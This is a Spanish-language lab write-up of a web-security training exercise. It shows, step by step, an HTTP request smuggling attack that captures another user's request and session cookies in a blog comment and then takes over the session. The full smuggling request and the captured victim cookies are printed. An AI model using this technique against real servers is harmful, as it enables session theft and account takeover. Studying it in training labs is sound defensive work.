Skip to content

20260130011035.png

LAB

Para este laboratorio, se tiene que realizar un robo de cookie lanzando un http request smuggling y que nuestra solicitud maliciosa logre realizar un comentario.

20260131035732.png

Construyendo la solicitud en donde lanzamos un post, teniendo en cuenta los campos que deberían ir. Así mismo, se debe tener en cuenta cada uno de los Content-Length

c
POST / HTTP/1.1
Host: 0a10005e0470b8e883671ec30099005a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 279

0

POST /post/comment HTTP/1.1
Cookie: session=JDBPDpyX1kBZnHZBCTn5wOdijR1BB4AO
Content-Type: application/x-www-form-urlencoded
Content-Length: 123

csrf=voSJhPkn7n38FhiHzjgBH4rfq65IUy7c&postId=9&name=test&email=test%40test.com&website=https%3A%2F%2Ftest.com&comment=test3

Para el primero valor del Content-Length, tenemos 123.

20260131040617.png

Para el segundo Content-Length es 279

20260131040639.png

Al enviar nuestra solicitud podemos observar que el comentario se logra realizar.

20260131040918.png

20260131040656.png

Al inflar un poco mas el Content-Length de la segunda request, podemos observar que para este caso tenemos 123 y le vamos agregar 67 mas, teniendo un total de 200

20260131041044.png

Luego de enviar podemos ver que parte de las solicitud se refleja en el comentario.

20260131041123.png

Si queremos obtener las cookies de un usuario autenticado, contamos la cantidad que debe ir en el Content-Length

c
GET / HTTP/2
Host: 0a10005e0470b8e883671ec30099005a.web-security-academy.net
Cookie: session=JDBPDpyX1kBZnHZBCTn5wOdijR1BB4AO
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Dnt: 1
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

20260131041248.png

Por lo que vemos, se tiene un total de 500 aproximadamente, asi que agregaremos un poco mas.

20260131042707.png

Luego de enviar nuestra solicitud y esperar, podemos observar que las solicitud quedo comentada, así como las cookies del usuario logeado. Esto debido a que nuestra primera solicitud queda en modo keep alive.

c
test3GET / HTTP/1.1 Host: 0a10005e0470b8e883671ec30099005a.web-security-academy.net sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-fetch-site: none sec-fetch-mode: navigate sec-fetch-user: ?1 sec-fetch-dest: document accept-encoding: gzip, deflate, br, zstd accept-language: en-US,en;q=0.9 priority: u=0, i cookie: victim-fingerprint=DkTd3WsYNQ9esEAxgH6MXCeOKerz36Cl; secret=LF078mvMVYP79qIteI1YdoormDkC5Gop; session=39yWwCJrSgBRz4fq1vwolKsWBt2yIPkM Content

20260131042735.png

Luego de obtener la cookie del usuario administrador, podemos usar la sesion e ingresar como este usuario.

20260131042814.png